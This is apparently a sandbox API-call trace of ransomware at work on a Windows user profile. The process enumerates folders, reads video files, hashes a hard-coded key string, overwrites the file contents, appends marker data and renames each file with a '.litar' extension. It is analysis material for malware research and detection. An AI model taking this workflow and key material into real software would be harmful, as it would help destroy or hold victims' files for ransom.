1 [0125.551] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned=".search-ms" [0125.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0125.551] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0125.551] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms") returned=".search-ms" [0125.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0125.551] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0125.551] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.551] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.551] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.552] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0125.552] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.552] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.552] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.552] PathFindFileNameW (pszPath="") returned="" [0125.552] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0125.552] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.552] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.552] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0125.552] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.552] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.552] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.552] PathFindFileNameW (pszPath="") returned="" [0125.552] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0125.552] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.553] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0125.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.553] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.553] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.553] PathFindFileNameW (pszPath="") returned="" [0125.553] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0125.553] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.553] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0125.553] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0125.553] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0125.553] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0125.553] PathFindFileNameW (pszPath="") returned="" [0125.553] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x526c04b0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x526c04b0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0125.553] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x526c04b0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x526c04b0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.553] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3a4ddc0, ftCreationTime.dwHighDateTime=0x1d4ce32, ftLastAccessTime.dwLowDateTime=0x90b5d240, ftLastAccessTime.dwHighDateTime=0x1d4d154, ftLastWriteTime.dwLowDateTime=0x90b5d240, ftLastWriteTime.dwHighDateTime=0x1d4d154, nFileSizeHigh=0x0, nFileSizeLow=0xa548, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2U_8PhFaccxBmEGBGe3v.flv", cAlternateFileName="2U_8PH~1.FLV")) returned 1 [0125.553] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2U_8PhFaccxBmEGBGe3v.flv") returned=".flv" [0125.553] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2U_8PhFaccxBmEGBGe3v.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2u_8phfaccxbmegbge3v.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.554] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=42312) returned 1 [0125.554] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.556] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa522, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.556] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.560] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.560] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xa548, lpOverlapped=0x0) returned 1 [0125.561] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.561] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.561] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.561] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.561] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.562] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.562] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.562] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.562] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.562] GetLastError () returned 0x0 [0125.562] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.562] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa550) returned 0x30fa0b0 [0125.562] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.562] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xa543, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xa543, lpOverlapped=0x0) returned 1 [0125.562] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.562] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa548, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.562] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.563] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.563] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.563] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30754f0 | out: hHeap=0x5c0000) returned 1 [0125.563] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.563] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.563] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.563] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.563] CloseHandle (hObject=0x624) returned 1 [0125.564] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.564] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.564] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.564] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2U_8PhFaccxBmEGBGe3v.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2u_8phfaccxbmegbge3v.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2U_8PhFaccxBmEGBGe3v.flv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2u_8phfaccxbmegbge3v.flv.litar")) returned 1 [0125.564] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.564] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.565] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.565] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefb51600, ftCreationTime.dwHighDateTime=0x1d4c878, ftLastAccessTime.dwLowDateTime=0xa375fa80, ftLastAccessTime.dwHighDateTime=0x1d4c584, ftLastWriteTime.dwLowDateTime=0xa375fa80, ftLastWriteTime.dwHighDateTime=0x1d4c584, nFileSizeHigh=0x0, nFileSizeLow=0x4898, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5Qd_U17.swf", cAlternateFileName="")) returned 1 [0125.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.566] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.566] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.566] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5Qd_U17.swf") returned=".swf" [0125.566] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5Qd_U17.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5qd_u17.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.566] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=18584) returned 1 [0125.567] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.568] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x4872, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.568] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.570] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.570] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.570] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x4898, lpOverlapped=0x0) returned 1 [0125.570] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.570] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.570] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.571] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.571] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.571] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.571] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.571] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.571] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.571] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.572] GetLastError () returned 0x0 [0125.572] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.572] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x48a0) returned 0x30fa0b0 [0125.572] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.572] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x4893, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x4893, lpOverlapped=0x0) returned 1 [0125.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.572] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x4898, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.572] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30754f0 | out: hHeap=0x5c0000) returned 1 [0125.572] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.572] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.572] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.572] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.573] CloseHandle (hObject=0x624) returned 1 [0125.573] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.573] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x870) returned 0x30fa0b0 [0125.573] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.573] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5Qd_U17.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5qd_u17.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5Qd_U17.swf.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5qd_u17.swf.litar")) returned 1 [0125.574] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.574] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.575] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24152810, ftCreationTime.dwHighDateTime=0x1d4d2ef, ftLastAccessTime.dwLowDateTime=0x823973e0, ftLastAccessTime.dwHighDateTime=0x1d4c5db, ftLastWriteTime.dwLowDateTime=0x823973e0, ftLastWriteTime.dwHighDateTime=0x1d4c5db, nFileSizeHigh=0x0, nFileSizeLow=0x104fd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7xg3.mkv", cAlternateFileName="")) returned 1 [0125.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.575] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.575] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.575] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7xg3.mkv") returned=".mkv" [0125.575] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7xg3.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\7xg3.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.575] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=66813) returned 1 [0125.575] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.577] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x104d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.577] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.579] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.579] ReadFile (in: hFile=0x624, 